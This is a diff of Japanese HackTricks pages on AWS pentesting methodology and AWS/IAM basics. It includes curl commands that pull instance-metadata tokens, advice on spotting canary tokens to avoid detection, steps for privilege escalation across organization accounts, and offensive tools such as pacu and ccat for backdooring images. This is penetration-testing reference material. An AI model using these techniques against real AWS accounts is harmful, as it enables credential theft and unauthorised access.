+AWS 内のマシンで SSRF を見つけた場合は、トリックについてはこのページを確認してください：
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad
 curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
 ```
 > [!CAUTION]
-> 企業は**カナリアトークン**を使用して**トークンが盗まれ使用されている**ときに特定することがあります。使用する前にトークンがカナリアトークンであるかどうかを確認することをお勧めします。\
+> 企業は**カナリアトークン**を使用して**トークンが盗まれ使用されている**かどうかを特定する場合があります。使用する前にトークンがカナリアトークンであるかどうかを確認することをお勧めします。\
 > 詳細については[**このページを確認してください**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass)。
 
 ### 組織の列挙
@@ -100,9 +100,9 @@ aws-services/aws-organizations-enum.md
 
 ### IAMの列挙
 
-十分な権限がある場合、**AWSアカウント内の各エンティティの権限を確認すること**は、あなたや他のアイデンティティが何をできるか、どのように**権限を昇格させることができるか**を理解するのに役立ちます。
+十分な権限がある場合は、**AWSアカウント内の各エンティティの権限を確認すること**が、あなたや他のアイデンティティが何をできるか、また**権限を昇格させる方法**を理解するのに役立ちます。
 
-IAMを列挙するための十分な権限がない場合、**ブルートフォースで盗む**ことができます。\
+IAMを列挙するための十分な権限がない場合は、**ブルートフォースで盗む**ことでそれらを特定できます。\
 **列挙とブルートフォースの方法**については以下を確認してください：
 
 {{#ref}}
@@ -111,17 +111,17 @@ aws-services/aws-iam-enum.md
 
 > [!NOTE]
 > 現在、**あなたの資格情報に関する情報を持っている**（そして、もしあなたがレッドチームであれば、幸運にも**検出されていない**ことを願っています）。環境で使用されているサービスを特定する時が来ました。\
-> 次のセクションでは、**一般的なサービスを列挙する方法**を確認できます。
+> 次のセクションでは、**一般的なサービスを列挙する方法**をいくつか確認できます。
 
 ## サービスの列挙、ポストエクスプロイト & 永続性
 
-AWSには驚くべき数のサービスがあります。次のページでは、**基本情報、列挙**のチートシート\*\*、\*\***検出を回避する方法**、**永続性**を取得する方法、その他の**ポストエクスプロイト**のトリックについての情報を見つけることができます：
+AWSには驚くべき数のサービスがあり、以下のページでは**基本情報、列挙**のチートシート\*\*、\*\***検出を回避する方法**、**永続性**を取得する方法、その他の**ポストエクスプロイト**のトリックについての情報が見つかります：
 
 {{#ref}}
 aws-services/
 {{#endref}}
 
-すべての作業を**手動で**行う必要はないことに注意してください。以下の投稿には、[**自動ツール**](./#automated-tools)に関する**セクション**があります。
+すべての作業を**手動で**行う必要はないことに注意してください。この投稿の下部には、[**自動ツール**](./#automated-tools)に関する**セクション**があります。
 
 さらに、この段階で**認証されていないユーザーに公開されているサービスが**見つかるかもしれません。これらを悪用できるかもしれません：
 
@@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/
 
 ## 権限昇格
 
-異なるリソースに対して**少なくとも自分の権限を確認できる**場合、**さらに権限を取得できるかどうかを確認することができます**。少なくとも以下の権限に焦点を当てるべきです：
+異なるリソースに対して**少なくとも自分の権限を確認できる**場合、**さらに権限を取得できるかどうかを確認できます**。少なくとも以下に示す権限に焦点を当てるべきです：
 
 {{#ref}}
 aws-privilege-escalation/
@@ -140,9 +140,9 @@ aws-privilege-escalation/
 ## 公開されたサービス
 
 AWSサービスを列挙しているときに、いくつかのサービスが**インターネットに要素を公開している**のを見つけたかもしれません（VM/コンテナのポート、データベースやキューサービス、スナップショットやバケットなど）。\
-ペンテスター/レッドチームとして、これらに**機密情報/脆弱性**がないか常に確認するべきです。これにより、**AWSアカウントへのさらなるアクセス**が得られるかもしれません。
+ペンテスター/レッドチームとして、これらに**機密情報や脆弱性**がないか常に確認するべきです。これにより、**AWSアカウントへのさらなるアクセス**が得られるかもしれません。
 
-この本では、**公開されたAWSサービスを見つける方法とそれを確認する方法**に関する**情報**を見つけることができるはずです。**公開されたネットワークサービスの脆弱性を見つける方法**については、特定の**サービス**を以下で**検索**することをお勧めします：
+この本では、**公開されたAWSサービスを見つける方法とそれを確認する方法**に関する**情報**が見つかるはずです。**公開されたネットワークサービスの脆弱性を見つける方法**については、特定の**サービス**を以下で**検索**することをお勧めします：
 
 {{#ref}}
 https://book.hacktricks.xyz/
@@ -152,22 +152,22 @@ https://book.hacktricks.xyz/
 
 ### ルート/管理アカウントから
 
-管理アカウントが組織内に新しいアカウントを作成すると、**新しい役割**が新しいアカウントに作成され、デフォルトで**`OrganizationAccountAccessRole`**と名付けられ、**管理アカウント**に新しいアカウントにアクセスするための**AdministratorAccess**ポリシーが付与されます。
+管理アカウントが組織内に新しいアカウントを作成すると、新しいアカウントに**新しいロール**が作成され、デフォルトで**`OrganizationAccountAccessRole`**と名付けられ、**管理アカウント**に新しいアカウントにアクセスするための**AdministratorAccess**ポリシーが付与されます。
 
 <figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
 
 したがって、子アカウントに管理者としてアクセスするには、次のことが必要です：
 
-- **管理**アカウントを**侵害**し、**子アカウントのID**と**役割の名前**（デフォルトでOrganizationAccountAccessRole）を見つけて、管理アカウントが管理者としてアクセスできるようにします。
+- **管理**アカウントを**侵害**し、**子アカウントのID**と**ロールの名前**（デフォルトでOrganizationAccountAccessRole）を見つけて、管理アカウントが管理者としてアクセスできるようにします。
 - 子アカウントを見つけるには、AWSコンソールの組織セクションに移動するか、`aws organizations list-accounts`を実行します。
-- 役割の名前を直接見つけることはできないため、すべてのカスタムIAMポリシーを確認し、**以前に発見した子アカウントに対する`sts:AssumeRole`を許可するもの**を検索します。
-- **管理アカウント内の**`sts:AssumeRole`権限を持つ**プリンシパルを侵害**し、子アカウントの役割に対して**（管理アカウントから誰でもなりすますことを許可している場合でも、外部アカウントであるため、特定の`sts:AssumeRole`権限が必要です）**。
+- ロールの名前を直接見つけることはできないため、すべてのカスタムIAMポリシーを確認し、**以前に発見した子アカウントに対する`sts:AssumeRole`を許可するもの**を検索します。
+- **管理アカウント内の**`sts:AssumeRole`権限を持つ**プリンシパル**を**子アカウントのロールに対して**侵害します（管理アカウントから誰でもなりすますことを許可している場合でも、外部アカウントであるため、特定の`sts:AssumeRole`権限が必要です）。
 
 ## 自動ツール
 
 ### リコン
 
-- [**aws-recon**](https://github.com/darkbitio/aws-recon)：Rubyで書かれたマルチスレッドのAWSセキュリティに特化した**インベントリ収集ツール**。
+- [**aws-recon**](https://github.com/darkbitio/aws-recon): Rubyで書かれたマルチスレッドのAWSセキュリティに特化した**インベントリ収集ツール**です。
 ```bash
 # Install
 gem install aws_recon
@@ -179,7 +179,7 @@ AWS_PROFILE=<profile> aws_recon \
 --verbose
 ```
 - [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlistは、クラウドプロバイダーからアセット（ホスト名、IPアドレス）を取得するための**マルチクラウドツール**です。
-- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapperは、Amazon Web Services（AWS）環境を分析するのに役立ちます。現在、セキュリティ問題の監査を含む、はるかに多くの機能が含まれています。
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapperは、Amazon Web Services (AWS) 環境を分析するのに役立ちます。現在、セキュリティ問題の監査を含む、はるかに多くの機能が含まれています。
 ```bash
 # Installation steps in github
 # Create a config.json file with the aws info, like:
@@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev
 python cloudmapper.py prepare #Prepare webserver
 python cloudmapper.py webserver #Show webserver
 ```
-- [**cartography**](https://github.com/lyft/cartography): Cartographyは、Neo4jデータベースによって駆動される直感的なグラフビューで、インフラストラクチャ資産とそれらの関係を統合するPythonツールです。
+- [**cartography**](https://github.com/lyft/cartography): Cartographyは、インフラストラクチャ資産とそれらの関係を直感的なグラフビューで統合するPythonツールで、Neo4jデータベースによって支えられています。
 ```bash
 # Install
 pip install cartography
@@ -239,9 +239,9 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p
 
 ### Privesc & Exploiting
 
-- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** スキャンされたAWS環境で最も特権のあるユーザーを発見します。AWSシャドウ管理者を含みます。powershellを使用します。特権ポリシーの**定義**は、[https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)の**`Check-PrivilegedPolicy`**関数内で見つけることができます。
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacuは、クラウド環境に対する攻撃的セキュリティテストのために設計されたオープンソースの**AWSエクスプロイトフレームワーク**です。**列挙**、**ミスコンフィギュレーション**の発見、そしてそれらを**エクスプロイト**することができます。特権の**定義**は、**`user_escalation_methods`**辞書内の[https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)で見つけることができます。
-- pacuは**自分のプライベスパスのみをチェックします**（アカウント全体ではありません）。
+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** スキャンされたAWS環境で最も特権のあるユーザーを発見します。AWS Shadow Adminsを含みます。powershellを使用します。特権ポリシーの**定義**は、[https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)の**`Check-PrivilegedPolicy`**関数内にあります。
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacuは、クラウド環境に対する攻撃的セキュリティテストのために設計されたオープンソースの**AWSエクスプロイトフレームワーク**です。**列挙**、**ミスコンフィギュレーション**の発見、そしてそれらを**エクスプロイト**することができます。特権の**定義**は、**`user_escalation_methods`**辞書内の[https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)で見つけることができます。
+- pacuは**自分のプライベートパスのみをチェックします**（アカウント全体ではありません）。
 ```bash
 # Install
 ## Feel free to use venvs
@@ -255,7 +255,7 @@ pacu
 > exec iam__enum_permissions # Get permissions
 > exec iam__privesc_scan # List privileged permissions
 ```
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) は、AWS アカウントまたは AWS 組織の AWS Identity and Access Management (IAM) の設定におけるリスクを特定するためのスクリプトとライブラリです。これは、アカウント内の異なる IAM ユーザーとロールを有向グラフとしてモデル化し、**特権昇格**のチェックや、攻撃者が AWS 内のリソースやアクションにアクセスするために取る可能性のある代替経路を確認できるようにします。**privesc** パスを見つけるために使用される**権限**は、[https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) の `_edges.py` で終わるファイル名で確認できます。
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper)は、AWSアカウントまたはAWS組織のAWS Identity and Access Management (IAM)の設定におけるリスクを特定するためのスクリプトおよびライブラリです。これは、アカウント内の異なるIAMユーザーとロールを有向グラフとしてモデル化し、**特権昇格**のチェックや、攻撃者がAWS内のリソースやアクションにアクセスするために取る可能性のある代替パスを確認できるようにします。**privesc**パスを見つけるために使用される**権限**は、[https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)の`_edges.py`で終わるファイル名にあります。
 ```bash
 # Install
 pip install principalmapper
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
 pmapper --profile dev orgs display
 ```
 - [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplainingは、最小特権の違反を特定し、リスク優先のHTMLレポートを生成するAWS IAMセキュリティ評価ツールです。\
-それは、潜在的に**過剰な権限**を持つ顧客、インラインおよびAWS **ポリシー**、およびそれらにアクセスできる**プリンシパル**を示します。（それは特権昇格だけでなく、他の興味深い権限もチェックするため、使用を推奨します）。
+それは、潜在的に**過剰な権限**を持つ顧客、インラインおよびAWSの**ポリシー**、およびそれらにアクセスできる**プリンシパル**を示します。（それは特権昇格だけでなく、他の興味深い権限もチェックするため、使用を推奨します）。
 ```bash
 # Install
 pip install cloudsplaining
@@ -290,13 +290,13 @@ cloudsplaining download --profile dev
 # Analyze the IAM policies
 cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
 ```
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJackは、分離されたRoute53とCloudFrontの設定の結果として、AWSアカウントの**サブドメインハイジャック脆弱性**を評価します。
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECRリポジトリのリスト -> ECRリポジトリをプル -> バックドアを仕掛ける -> バックドアを仕掛けたイメージをプッシュ
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJackは、分離されたRoute53とCloudFrontの構成の結果として、AWSアカウントの**サブドメインハイジャック脆弱性**を評価します。
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECRリポジトリのリスト -> ECRリポジトリをプル -> バックドアを仕掛ける -> バックドア付きイメージをプッシュ
 - [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebagは、公開されたElastic Block Storage（**EBS）スナップショット**を通じて、偶然に残された可能性のある秘密を**検索**するツールです。
 
-### Audit
+### 監査
 
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** AquaのCloudSploitは、Amazon Web Services (AWS)、Microsoft Azure、Google Cloud Platform (GCP)、Oracle Cloud Infrastructure (OCI)、およびGitHubを含む**クラウドインフラストラクチャ**アカウントの**セキュリティリスク**を検出するために設計されたオープンソースプロジェクトです（ShadowAdminsは探しません）。
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** AquaのCloudSploitは、Amazon Web Services（AWS）、Microsoft Azure、Google Cloud Platform（GCP）、Oracle Cloud Infrastructure（OCI）、およびGitHubを含む**クラウドインフラストラクチャ**アカウントの**セキュリティリスク**を検出するために設計されたオープンソースプロジェクトです（ShadowAdminsは探しません）。
 ```bash
 ./index.js --csv=file.csv --console=table --config ./config.js
 
@@ -314,7 +314,7 @@ prowler -v
 prowler <provider>
 prowler aws --profile custom-profile [-M csv json json-asff html]
 ```
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFoxは、未知のクラウド環境での状況認識を得るのに役立ちます。これは、ペネトレーションテスターや他の攻撃的セキュリティ専門家がクラウドインフラストラクチャ内の悪用可能な攻撃経路を見つけるために作成されたオープンソースのコマンドラインツールです。
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFoxは、未知のクラウド環境での状況認識を高めるのに役立ちます。これは、ペネトレーションテスターや他の攻撃的セキュリティ専門家がクラウドインフラストラクチャ内の悪用可能な攻撃経路を見つけるために作成されたオープンソースのコマンドラインツールです。
 ```bash
 cloudfox aws --profile [profile-name] all-checks
 ```
@@ -330,13 +330,13 @@ scout --help
 scout aws -p dev
 ```
 - [**cs-suite**](https://github.com/SecurityFTW/cs-suite): クラウドセキュリティスイート（python2.7を使用し、メンテナンスされていないようです）
-- [**Zeus**](https://github.com/DenizParlak/Zeus): ZeusはAWS EC2 / S3 / CloudTrail / CloudWatch / KMSのベストハードニングプラクティスのための強力なツールです（メンテナンスされていないようです）。システム内のデフォルト設定されたクレデンシャルのみをチェックします。
+- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeusは、AWS EC2 / S3 / CloudTrail / CloudWatch / KMSのベストハードニングプラクティスのための強力なツールです（メンテナンスされていないようです）。システム内のデフォルト設定されたクレデンシャルのみをチェックします。
 
 ### 定常監査
 
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodianは、パブリッククラウドアカウントとリソースを管理するためのルールエンジンです。ユーザーは**適切に管理されたクラウドインフラストラクチャを有効にするポリシーを定義**することができます。これは、組織が持つ多くのアドホックスクリプトを軽量で柔軟なツールに統合し、統一されたメトリクスとレポートを提供します。
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodianは、パブリッククラウドアカウントとリソースを管理するためのルールエンジンです。ユーザーは、**適切に管理されたクラウドインフラストラクチャを有効にするためのポリシーを定義**できます。これは、組織が持つ多くのアドホックスクリプトを軽量で柔軟なツールに統合し、統一されたメトリクスとレポートを提供します。
 - [**pacbot**](https://github.com/tmobile/pacbot)**: コードとしてのポリシーボット（PacBot）**は、**クラウドのための継続的なコンプライアンス監視、コンプライアンスレポート、およびセキュリティ自動化のプラットフォーム**です。PacBotでは、セキュリティとコンプライアンスのポリシーがコードとして実装されます。PacBotによって発見されたすべてのリソースは、これらのポリシーに対して評価され、ポリシーの適合性が測定されます。PacBotの**自動修正**フレームワークは、事前定義されたアクションを実行することによってポリシー違反に自動的に対応する能力を提供します。
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlertは、サーバーレスの**リアルタイム**データ分析フレームワークであり、**定義したデータソースとアラートロジックを使用して、任意の環境からデータを取り込み、分析し、アラートを出す**ことを可能にします。コンピュータセキュリティチームは、StreamAlertを使用して、インシデント検出と対応のために毎日テラバイトのログデータをスキャンします。
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlertは、サーバーレスの**リアルタイム**データ分析フレームワークであり、**データを取り込み、分析し、アラートを出す**ことを可能にします。これは、あなたが定義するデータソースとアラートロジックを使用します。コンピュータセキュリティチームは、StreamAlertを使用して、インシデント検出と対応のために毎日テラバイトのログデータをスキャンします。
 
 ## DEBUG: AWS cliリクエストをキャプチャする
 ```bash

src/pentesting-cloud/aws-security/aws-basic-information/README.md

@@ -21,13 +21,13 @@ AWSには**ルートアカウント**があり、これは**組織内のすべ
 - 組織からアカウントを削除する
 - 招待を管理する
 - 組織内のエンティティ（ルート、OU、またはアカウント）にポリシーを適用する
-- 組織内のすべてのアカウントにサービス機能を提供するために、サポートされているAWSサービスとの統合を有効にする。
+- 組織内のすべてのアカウントにわたってサービス機能を提供するために、サポートされているAWSサービスとの統合を有効にする。
 - このルートアカウント/組織を作成するために使用されたメールアドレスとパスワードを使用して、ルートユーザーとしてログインすることが可能です。
 
 管理アカウントは**支払いアカウントの責任**を持ち、メンバーアカウントによって発生したすべての料金を支払う責任があります。組織の管理アカウントを変更することはできません。
 
 - **メンバーアカウント**は、組織内の残りのすべてのアカウントを構成します。アカウントは、一度に1つの組織のメンバーであることができます。アカウントにポリシーを添付して、そのアカウントのみに制御を適用することができます。
-- メンバーアカウントは**有効なメールアドレスを使用する必要があります**。一般的に、**名前**を持つことができ、請求を管理することはできません（ただし、アクセスが与えられる場合があります）。
+- メンバーアカウントは**有効なメールアドレスを使用する必要があります**。一般的に、**名前**を持つことができ、請求を管理することはできませんが（アクセスが与えられる場合があります）。
 ```
 aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
 ```
@@ -38,40 +38,40 @@ aws organizations create-account --account-name testingaccount --email testingac
 # You can get the root id from aws organizations list-roots
 aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
 ```
-### サービス制御ポリシー (SCP)
+### サービスコントロールポリシー (SCP)
 
-**サービス制御ポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーとロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM** 権限ポリシーに**似ていますが、**権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**SCPはメンバーアカウント内のエンティティの権限を制限します**。
+**サービスコントロールポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーやロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM**権限ポリシーに似ていますが、**権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**メンバーアカウント内のエンティティの権限が制限されます**。
 
-これは**ルートユーザーでさえも何かを行うのを止める唯一の方法**です。例えば、CloudTrailを無効にしたり、バックアップを削除したりするのをユーザーに止めるために使用できます。\
+これは**ルートユーザーでさえ何かを行うのを止める唯一の方法**です。例えば、CloudTrailを無効にしたり、バックアップを削除したりするのをユーザーに止めるために使用できます。\
 これを回避する唯一の方法は、SCPを設定する**マスターアカウント**も侵害することです（マスターアカウントはブロックできません）。
 
 > [!WARNING]
-> **SCPはアカウント内のプリンシパルのみを制限する**ため、他のアカウントには影響しません。これは、SCPが` s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスすることを止めることはない**ことを意味します。
+> **SCPはアカウント内のプリンシパルのみを制限する**ため、他のアカウントには影響しません。これは、SCPが`s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスすることを止めることはない**ことを意味します。
 
 SCPの例：
 
 - ルートアカウントを完全に拒否
 - 特定のリージョンのみを許可
 - ホワイトリストに登録されたサービスのみを許可
-- GuardDuty、CloudTrail、およびS3のパブリックブロックアクセスを無効にすることを拒否
+- GuardDuty、CloudTrail、およびS3パブリックブロックアクセスの無効化を拒否
 
 - セキュリティ/インシデントレスポンスロールの削除または
 
 変更を拒否。
 
 - バックアップの削除を拒否。
-- IAMユーザーとアクセスキーの作成を拒否。
+- IAMユーザーとアクセスキーの作成を拒否
 
 **JSONの例**は[https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)で見つけてください。
 
 ### ARN
 
-**Amazonリソース名**は、AWS内のすべてのリソースが持つ**一意の名前**で、次のように構成されています：
+**Amazonリソース名**は、AWS内のすべてのリソースが持つ**ユニークな名前**で、次のように構成されています：
 ```
 arn:partition:service:region:account-id:resource-type/resource-id
 arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
 ```
-注意：AWSには4つのパーティションがありますが、それを呼び出す方法は3つだけです：
+AWSには4つのパーティションがありますが、それを呼び出す方法は3つだけです：
 
 - AWS Standard: `aws`
 - AWS China: `aws-cn`
@@ -80,17 +80,17 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
 
 ## IAM - アイデンティティとアクセス管理
 
-IAMは、AWSアカウント内で**認証**、**認可**、および**アクセス制御**を管理することを可能にするサービスです。
+IAMは、AWSアカウント内で**認証**、**承認**、および**アクセス制御**を管理することを可能にするサービスです。
 
 - **認証** - アイデンティティを定義し、そのアイデンティティを検証するプロセス。このプロセスは、識別と検証に分けることができます。
-- **認可** - アイデンティティがシステム内でアクセスできるものを決定します。
+- **承認** - アイデンティティがシステム内でアクセスできるものを決定します。これは認証された後のことです。
 - **アクセス制御** - セキュアなリソースへのアクセスがどのように付与されるかの方法とプロセス
 
-IAMは、AWSアカウント内のリソースに対するアイデンティティの認証、認可、アクセス制御メカニズムを管理、制御、統治する能力によって定義されます。
+IAMは、AWSアカウント内のリソースに対するアイデンティティの認証、承認、およびアクセス制御メカニズムを管理、制御、統治する能力によって定義されます。
 
 ### [AWSアカウントのルートユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
 
-Amazon Web Services (AWS) アカウントを最初に作成すると、アカウント内のすべてのAWSサービスとリソースに**完全にアクセスできる**単一のサインインアイデンティティが作成されます。これがAWSアカウントの_**ルートユーザー**_であり、**アカウントを作成する際に使用したメールアドレスとパスワードでサインインすることでアクセスします**。
+Amazon Web Services (AWS) アカウントを最初に作成すると、アカウント内のすべてのAWSサービスとリソースに**完全にアクセスできる**単一のサインインアイデンティティが与えられます。これがAWSアカウントの_**ルートユーザー**_であり、**アカウントを作成する際に使用したメールアドレスとパスワードでサインインすることでアクセスします**。
 
 新しい**管理者ユーザー**は**ルートユーザーよりも権限が少ない**ことに注意してください。
 
@@ -98,24 +98,24 @@ Amazon Web Services (AWS) アカウントを最初に作成すると、アカウ
 
 ### [IAMユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
 
-IAM _ユーザー_ は、AWS内で**人またはアプリケーションを表す**ために作成するエンティティです。AWSのユーザーは、名前と資格情報（パスワードと最大2つのアクセスキー）で構成されます。
+IAM _ユーザー_ は、AWS内で**それを使用してAWSと対話する人またはアプリケーション**を**表す**ために作成するエンティティです。AWSのユーザーは、名前と資格情報（パスワードと最大2つのアクセスキー）で構成されます。
 
-IAMユーザーを作成すると、適切な権限ポリシーが添付された**ユーザーグループのメンバー**にすることで**権限**を付与するか、**ポリシーをユーザーに直接添付**することができます（推奨）。
+IAMユーザーを作成すると、適切な権限ポリシーが添付された**ユーザーグループのメンバー**にすることで**権限**を付与するか、**ポリシーを直接ユーザーに添付**することができます（推奨）。
 
-ユーザーは、コンソールを通じて**MFAを有効にしてログイン**できます。MFAが有効なユーザーのAPIトークンはMFAによって保護されていません。ユーザーのAPIキーのアクセスをMFAを使用して**制限したい場合**は、特定のアクションを実行するためにMFAが必要であることをポリシーに示す必要があります（例：[**こちら**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)）。
+ユーザーは、コンソールを通じて**MFAを有効にしてログイン**できます。MFAが有効なユーザーのAPIトークンはMFAによって保護されていません。ユーザーのAPIキーのアクセスをMFAを使用して**制限したい場合**は、特定のアクションを実行するためにMFAが必要であることをポリシーに示す必要があります（例 [**こちら**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)）。
 
 #### CLI
 
-- **アクセスキーID**: 20のランダムな大文字の英数字の文字列（例：AKHDNAPO86BSHKDIRYT）
-- **シークレットアクセスキーID**: 40のランダムな大文字と小文字の文字列（例：S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU）（失われたシークレットアクセスキーIDを取得することはできません）。
+- **アクセスキーID**: 20のランダムな大文字の英数字の文字列（例: AKHDNAPO86BSHKDIRYT）
+- **シークレットアクセスキーID**: 40のランダムな大文字と小文字の文字列（例: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU）（失われたシークレットアクセスキーIDを取得することはできません）。
 
-アクセスキーを**変更する必要がある場合**は、次のプロセスに従う必要があります：\
+**アクセスキーを変更する必要がある場合**は、次のプロセスに従う必要があります：\
 &#xNAN;_&#x43;reate a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
 
 ### MFA - 多要素認証
 
-これは、既存の方法（パスワードなど）に加えて**認証のための追加の要素を作成する**ために使用され、マルチファクターレベルの認証を作成します。\
-無料の仮想アプリケーションや物理デバイスを使用できます。Google認証などのアプリを無料で使用してAWSでMFAを有効にできます。
+これは、既存の方法（パスワードなど）に加えて**認証のための追加の要素を作成する**ために使用され、したがって多要素の認証レベルを作成します。\
+**無料の仮想アプリケーションまたは物理デバイス**を使用できます。Google認証などのアプリを無料で使用してAWSでMFAを有効にできます。
 
 MFA条件を持つポリシーは、以下に添付できます：
 
@@ -123,39 +123,41 @@ MFA条件を持つポリシーは、以下に添付できます：
 - Amazon S3バケット、Amazon SQSキュー、またはAmazon SNSトピックなどのリソース
 - ユーザーによって引き受けられるIAMロールの信頼ポリシー
 
-MFAを**チェックする**リソースに**CLI経由でアクセスしたい場合**は、**`GetSessionToken`**を呼び出す必要があります。これにより、MFAに関する情報を含むトークンが得られます。\
-**`AssumeRole`の資格情報にはこの情報が含まれていない**ことに注意してください。
+**CLIを介して**MFAを**チェックする**リソースにアクセスしたい場合は、**`GetSessionToken`**を呼び出す必要があります。これにより、MFAに関する情報を含むトークンが得られます。\
+**`AssumeRole`の資格情報にはこの情報は含まれていない**ことに注意してください。
 ```bash
 aws sts get-session-token --serial-number <arn_device> --token-code <code>
 ```
-As [**ここに記載されているように**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)、**MFAを使用できない**さまざまなケースがあります。
+以下の内容は、AWSにおけるMFAの使用に関する情報です。
+
+As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)、**MFAを使用できない**さまざまなケースがあります。
 
 ### [IAMユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
 
-IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度に適用する**方法であり、これによりそれらのユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。
+IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度にアタッチする**方法であり、これによりそれらのユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。
 
-**ユーザーグループにアイデンティティベースのポリシーを適用する**ことで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取る**ことができます。**ユーザーグループ**を**ポリシー**（リソースベースのポリシーなど）内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。
+**ユーザーグループにアイデンティティベースのポリシーをアタッチ**することで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取ります**。**ユーザーグループ**を**ポリシー**（リソースベースのポリシーなど）内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。
 
-ユーザーグループのいくつかの重要な特徴は次のとおりです：
+ユーザーグループの重要な特徴は以下の通りです：
 
